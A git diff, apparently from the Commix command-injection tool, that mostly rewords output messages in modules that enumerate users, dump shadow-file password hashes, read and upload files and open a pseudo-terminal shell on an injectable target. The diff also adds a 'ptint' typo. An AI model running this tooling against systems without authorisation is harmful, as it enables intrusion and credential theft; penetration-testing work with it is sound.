# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The PowerShell's version number is " + ps_version + ".\n"
+ info_msg = info_msg
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
except ValueError:
@@ -88,15 +82,12 @@ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
- # if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
- info_msg = "The hostname is " + str(shell)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
- sys.stdout.flush()
+ info_msg = "Hostname: " + str(shell)
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The hostname is " + str(shell) + ".\n"
+ info_msg = "Hostname: " + str(shell) + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
@@ -133,7 +124,7 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp
distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
- target_os = target_os + " (" + distro_name + ")"
+ target_os = target_os + " " + distro_name
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
@@ -150,22 +141,17 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if target_arch:
- # if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
- info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL
- info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
- sys.stdout.flush()
+ if target_os and target_arch:
+ info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")"
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The underlying operating system is " + str(target_os)
- info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
+ info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
- warn_msg = "Heuristics have failed to retrieve the system information."
+ warn_msg = "Heuristics have failed to fetch underlying operating system information."
print(settings.print_warning_msg(warn_msg))
"""
@@ -185,63 +171,49 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
else:
cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if cu_account:
- # Check if the user have super privileges.
- if menu.options.is_root or menu.options.is_admin:
- if settings.TARGET_OS == "win":
- cmd = settings.IS_ADMIN
- else:
- cmd = settings.IS_ROOT
- if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- # Command execution results.
- response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- # Evaluate injection results.
- shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
- shell = "".join(str(p) for p in shell)
- session_handler.store_cmd(url, cmd, shell, vuln_parameter)
- else:
- shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- info_msg = "The current user is " + str(cu_account)
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "The current user is " + str(cu_account)
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- if shell:
- if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
- (settings.TARGET_OS != "win" and shell != "0"):
- sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
- sys.stdout.flush()
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" and it is not privileged.\n")
- output_file.close()
- else:
- sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
- sys.stdout.flush()
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" and it is privileged.\n")
- output_file.close()
- else:
- # if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
- info_msg = "The current user is " + str(cu_account)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
- sys.stdout.flush()
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "The current user is " + str(cu_account) + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
+ info_msg = "Current user: " + str(cu_account)
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ info_msg = "Current user: " + str(cu_account) + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
else:
- warn_msg = "Heuristics have failed to identify the current user."
+ warn_msg = "Heuristics have failed to fetch the current user."
print(settings.print_warning_msg(warn_msg))
-
+
+
+"""
+Check if the current user has excessive privileges.
+"""
+def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
+ if settings.TARGET_OS == "win":
+ cmd = settings.IS_ADMIN
+ else:
+ cmd = settings.IS_ROOT
+ if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
+ # Command execution results.
+ response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ # Evaluate injection results.
+ shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
+ shell = "".join(str(p) for p in shell)
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
+ else:
+ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ _ = "True"
+ if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
+ (settings.TARGET_OS != "win" and shell != "0"):
+ _ = "False"
+
+ info_msg = "Current user has excessive privileges: " + str(_)
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ output_file.close()
+
"""
System users enumeration
"""
@@ -265,8 +237,6 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
# Windows users enumeration.
if settings.TARGET_OS == "win":
- # if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
info_msg = "Executing the 'net users' command "
info_msg += "in order to enumerate users entries. "
sys.stdout.write(settings.print_info_msg(info_msg))
@@ -281,9 +251,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
sys_users_list = sys_users_list.split()
info_msg = "Identified " + str(len(sys_users_list))
info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " via 'net users' command.\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg += " via 'net users' command."
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -296,10 +265,9 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
if alter_shell:
cmd = cmd.replace("'","\\'")
- else:
- cmd = "\"" + cmd + "\""
- response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- check_privs = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
+ cmd = "cmd /c " + cmd
+ response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ check_privs = cb_injector.injection_results(response, TAG, cmd)
check_privs = "".join(str(p) for p in check_privs).strip()
check_privs = re.findall(r"(.*)", check_privs)
check_privs = "".join(str(p) for p in check_privs).strip()
@@ -313,37 +281,29 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
else :
is_privileged = ""
is_privileged_nh = ""
- # if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to enumerate users entries."
- print("\n" + settings.print_warning_msg(warn_msg)) # Unix-like users enumeration.
+ print(settings.print_warning_msg(warn_msg))
except TypeError:
- sys.stdout.write(settings.FAIL_STATUS + "\n")
- sys.stdout.flush()
pass
-
except IndexError:
- sys.stdout.write(settings.FAIL_STATUS)
- warn_msg = "It seems that you don't have permissions to enumerate users entries.\n"
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
+ warn_msg = "It seems that you don't have permissions to enumerate users entries."
+ print(settings.print_warning_msg(warn_msg))
pass
+
+ # Unix-like users enumeration.
else:
- # if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE
+ info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
info_msg += "' in order to enumerate users entries. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
+ print(settings.print_info_msg(info_msg))
try:
if sys_users[0] :
sys_users = "".join(str(p) for p in sys_users).strip()
@@ -353,11 +313,9 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
sys_users = sys_users.split(" ")
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0 :
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
- print("\n" + settings.print_warning_msg(warn_msg))
+ print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
@@ -369,12 +327,10 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user : user + 3])
if len(sys_users_list) != 0 :
- sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_users_list))
info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " in '" + settings.PASSWD_FILE + "'.\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg += " in '" + settings.PASSWD_FILE + "'."
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -414,11 +370,11 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
else :
is_privileged = ""
is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -432,30 +388,26 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
output_file.write(" " + sys_users)
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to read the '"
warn_msg += settings.PASSWD_FILE + "'."
- print("\n" + settings.print_warning_msg(warn_msg))
+ ptint(settings.print_warning_msg(warn_msg))
except TypeError:
- sys.stdout.write(settings.FAIL_STATUS + "\n")
- sys.stdout.flush()
pass
-
except IndexError:
- sys.stdout.write(settings.FAIL_STATUS)
- warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n"
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
+ warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
+ warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
+ print(settings.print_warning_msg(warn_msg))
pass
-
+
"""
System passwords enumeration
"""
def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if settings.TARGET_OS == "win":
- # Not yet implemented!
+ check_option = "--passwords"
+ checks.unavailable_option(check_option)
pass
else:
cmd = settings.SYS_PASSES
@@ -470,22 +422,16 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac
sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if sys_passes == "":
sys_passes = " "
- # if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE
+ info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
info_msg += "' in order to enumerate users password hashes. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
- sys_passes = "".join(str(p) for p in sys_passes)
+ print(settings.print_info_msg(info_msg))
sys_passes = sys_passes.replace(" ", "\n")
- sys_passes = sys_passes.split( )
+ sys_passes = sys_passes.split()
if len(sys_passes) != 0 :
- sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_passes))
info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
- info_msg += " in '" + settings.SHADOW_FILE + "'.\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg += " in '" + settings.SHADOW_FILE + "'."
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -498,7 +444,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac
if ":" in line:
fields = line.split(":")
if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
- print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
+ print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -509,25 +455,23 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac
if count == 1 :
warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
- sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n")
+ print(settings.print_warning_msg(warn_msg))
print(fields[0])
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(" " + fields[0])
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to read the '"
warn_msg += settings.SHADOW_FILE + "' file."
- print("\n" + settings.print_warning_msg(warn_msg))
+ print(settings.print_warning_msg(warn_msg))
"""
Single os-shell execution
"""
def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd = menu.options.os_cmd
- info_msg = "Executing the user-supplied command '" + cmd + "'."
+ info_msg = "Executing the user-supplied command: '" + cmd + "'."
print(settings.print_info_msg(info_msg))
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
@@ -538,43 +482,49 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if shell:
- if shell != "":
- if settings.VERBOSITY_LEVEL <= 1:
- print(settings.SINGLE_WHITESPACE)
- print(settings.command_execution_output(shell))
- print(settings.SINGLE_WHITESPACE)
+ if shell and shell != "":
+ _ = "'" + cmd + "' execution output"
+ print(settings.print_retrieved_data(_, shell))
else:
- err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg))
-
+ err_msg = "The execution of '" + cmd + "' command does not return any output."
+ print(settings.print_error_msg(err_msg))
"""
Check the defined options
"""
def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
-
- # if not settings.VERBOSITY_LEVEL != 0 and not settings.ENUMERATION_DONE:
- # print(settings.SINGLE_WHITESPACE)
-
# Check if PowerShell is enabled.
if not menu.options.ps_version and settings.TARGET_OS == "win":
checks.ps_check()
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
+ info_msg = "Fetching powershell version."
+ print(settings.print_info_msg(info_msg))
powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
if menu.options.hostname:
+ info_msg = "Fetching hostname."
+ print(settings.print_info_msg(info_msg))
hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
if menu.options.current_user:
+ info_msg = "Fetching current user."
+ print(settings.print_info_msg(info_msg))
current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
+ if menu.options.is_root or menu.options.is_admin:
+ info_msg = "Testing if current user has excessive privileges."
+ print(settings.print_info_msg(info_msg))
+ check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ settings.ENUMERATION_DONE = True
+
if menu.options.sys_info:
+ info_msg = "Fetching the underlying operating system information."
+ print(settings.print_info_msg(info_msg))
system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
index 82385e21b4..c97d05ac54 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
@@ -32,7 +32,7 @@
"""
def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Fetching the content of the file '"
+ info_msg = "Fetching content of the file: '"
info_msg += file_to_read + "'."
print(settings.print_info_msg(info_msg))
@@ -50,17 +50,13 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session:
- # print(settings.SINGLE_WHITESPACE)
if shell:
- info_msg = "Fetched content of the file '"
- info_msg += file_to_read + "'."
- print(settings.print_bold_info_msg(info_msg))
- print(settings.print_sub_content(shell))
+ _ = "Fetched file content"
+ print(settings.print_retrieved_data(_, shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
info_msg = "Extracted content of the file '"
- info_msg += file_to_read + "' : " + shell + ".\n"
+ info_msg += file_to_read + "' : " + shell + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
@@ -137,8 +133,6 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
- #if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
if shell:
info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
print(settings.print_bold_info_msg(info_msg))
@@ -151,7 +145,8 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt
"""
def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if settings.TARGET_OS == "win":
- # Not yet implemented
+ check_option = "--file-upload"
+ checks.unavailable_option(check_option)
pass
else:
file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
@@ -195,8 +190,6 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
- # if settings.VERBOSITY_LEVEL != 0:
- # print(settings.SINGLE_WHITESPACE)
if shell:
info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
print(settings.print_bold_info_msg(info_msg))
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index cc4659d8e0..7b30de7d19 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -62,8 +62,8 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met
def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
if settings.FILE_BASED_STATE != None:
if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'.\n"
- sys.stdout.write(settings.print_debug_msg(debug_msg))
+ debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'."
+ print(settings.print_debug_msg(debug_msg))
if settings.TARGET_OS == "win":
cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
else:
@@ -274,14 +274,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL == 1:
+ if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
- print(settings.print_payload(payload_msg))
- # Check if defined "--verbose" option.
- elif settings.VERBOSITY_LEVEL >= 2:
- debug_msg = "Generating payload for the injection."
- print(settings.print_debug_msg(debug_msg))
- print(settings.print_payload(payload))
+ print(settings.print_payload(payload_msg))
# Cookie Injection
if settings.COOKIE_INJECTION == True:
@@ -369,7 +364,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
print(settings.SINGLE_WHITESPACE)
while True:
- message = "Do you want to use the temporary directory (" + tmp_path + ") [Y/n] > "
+ message = "Do you want to use the temporary directory (" + tmp_path + ")? [Y/n] > "
tmp_upload = common.read_input(message, default="Y", check_batch=True)
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
@@ -409,14 +404,10 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
print(settings.print_critical_msg(err_msg) + "\n")
raise SystemExit()
- except KeyboardInterrupt:
+ except (KeyboardInterrupt, SystemExit):
# Delete previous shell (text) files (output)
- delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- raise
-
- except SystemExit:
if 'vuln_parameter' in locals():
- # Delete previous shell (text) files (output)
+ print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
@@ -500,12 +491,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
else:
checks.total_of_requests()
- # Print the findings to terminal.
- info_msg = "The"
+ finding = ""
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
- info_msg += " " + http_request_method
- info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
- info_msg += found_vuln_parameter + " seems injectable via "
+ finding += http_request_method
+ finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter
+
+ # Print the findings to terminal.
+ info_msg = finding + " appears to be injectable via "
info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
@@ -521,8 +513,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
- message = "Do you want to ignore stored session and enumerate again? [Y/n] > "
- enumerate_again = common.read_input(message, default="Y", check_batch=True)
+ message = "Do you want to ignore stored session and enumerate again? [y/N] > "
+ enumerate_again = common.read_input(message, default="N", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
@@ -546,8 +538,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
while True:
- message = "Do you want to ignore stored session and access files again? [Y/n] > "
- file_access_again = common.read_input(message, default="Y", check_batch=True)
+ message = "Do you want to ignore stored session and access files again? [y/N] > "
+ file_access_again = common.read_input(message, default="N", check_batch=True)
if file_access_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
@@ -580,17 +572,15 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
while True:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
if go_back == True:
break
- message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
+ message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
if settings.IS_TTY:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
gotshell = common.read_input(message, default="n", check_batch=True)
if gotshell in settings.CHOICE_YES:
- print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
+ print(settings.OS_SHELL_TITLE)
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
@@ -617,21 +607,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
